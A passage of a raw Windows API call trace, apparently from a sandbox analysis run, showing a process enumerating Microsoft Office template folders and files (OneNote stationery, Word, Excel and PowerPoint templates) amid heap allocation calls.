Flags=0x8, Size=0x18) returned 0x11f3e10 [0079.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b338 [0079.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.953] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x2b428, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLANK.ONE", cAlternateFileName="")) returned 1 [0079.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3e30 [0079.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b440 [0079.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.954] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc7824d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x4e630, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUSINESS.ONE", cAlternateFileName="")) returned 1 [0079.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3e50 [0079.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b548 [0079.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.955] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa58d0d00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa58d0d00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x3182e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER.ONE", cAlternateFileName="")) returned 1 [0079.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3e70 [0079.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b650 [0079.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.956] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa45be000, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa45be000, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x37b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLANNERS.ONE", cAlternateFileName="")) returned 1 [0079.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3e90 [0079.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b758 [0079.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.957] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa45be000, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa45be000, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x37b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLANNERS.ONE", cAlternateFileName="")) returned 0 [0079.957] GetLastError () returned 0x12 [0079.957] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0079.957] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0079.957] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.957] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACADEMIC.ONE", cAlternateFileName="")) returned 1 [0079.957] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x2b428, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLANK.ONE", cAlternateFileName="")) returned 1 [0079.957] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc7824d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x4e630, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUSINESS.ONE", cAlternateFileName="")) returned 1 [0079.957] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa58d0d00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa58d0d00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x3182e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER.ONE", cAlternateFileName="")) returned 1 [0079.957] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa45be000, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa45be000, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x37b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLANNERS.ONE", cAlternateFileName="")) returned 1 [0079.958] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa45be000, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa45be000, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x37b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLANNERS.ONE", cAlternateFileName="")) returned 0 [0079.958] GetLastError () returned 0x12 [0079.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b128) returned 1 [0079.958] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0079.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b020) returned 1 [0079.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123af18) returned 1 [0079.958] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 0 [0079.958] GetLastError () returned 0x12 [0079.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcf18) returned 1 [0079.958] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1226da8) returned 1 [0079.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce08) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0079.959] GetLastError () returned 0x12 [0079.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.959] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2db52, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielLetter.Dotx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1b29e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielMergeFax.Dotx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2b308, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielMergeLetter.Dotx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x82b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielReport.Dotx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x4ab41, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielResume.Dotx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1f56a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginLetter.Dotx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x172e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginMergeFax.Dotx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1f314, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginMergeLetter.Dotx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x5b011, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginReport.Dotx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x23247, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginResume.Dotx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x75b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PersonalMonthlyBudget.xltx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb12da100, ftCreationTime.dwHighDateTime=0x1c69a95, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xb12da100, ftLastWriteTime.dwHighDateTime=0x1c69a95, nFileSizeHigh=0x0, nFileSizeLow=0x2e590, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pitchbook.potx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22cf4600, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x22cf4600, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x9fd6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectStatusReport.potx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72cd1000, ftCreationTime.dwHighDateTime=0x1c99e00, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72cd1000, ftLastWriteTime.dwHighDateTime=0x1c99e00, nFileSizeHigh=0x0, nFileSizeLow=0x3b42, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROJPLAN.XLTX", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeda0600, ftCreationTime.dwHighDateTime=0x1c6d971, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdeda0600, ftLastWriteTime.dwHighDateTime=0x1c6d971, nFileSizeHigh=0x0, nFileSizeLow=0x17697, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuizShow.potx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0xa8ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="SalesReport.xltx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88423a00, ftCreationTime.dwHighDateTime=0x1c99e00, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x88423a00, ftLastWriteTime.dwHighDateTime=0x1c99e00, nFileSizeHigh=0x0, nFileSizeLow=0x2aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKLIST.XLTX", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa697690, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x44ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="TimeCard.xltx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22cf4600, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5ebbe70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x22cf4600, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x12f35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Training.potx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1c5f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanLetter.Dotx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x138a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanMergeFax.Dotx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1c1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanMergeLetter.Dotx", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x40d6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanPhotoAlbum.potx", cAlternateFileName="")) returned 1 [0079.960] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xd0fbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanReport.Dotx", cAlternateFileName="")) returned 1 [0079.960] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: 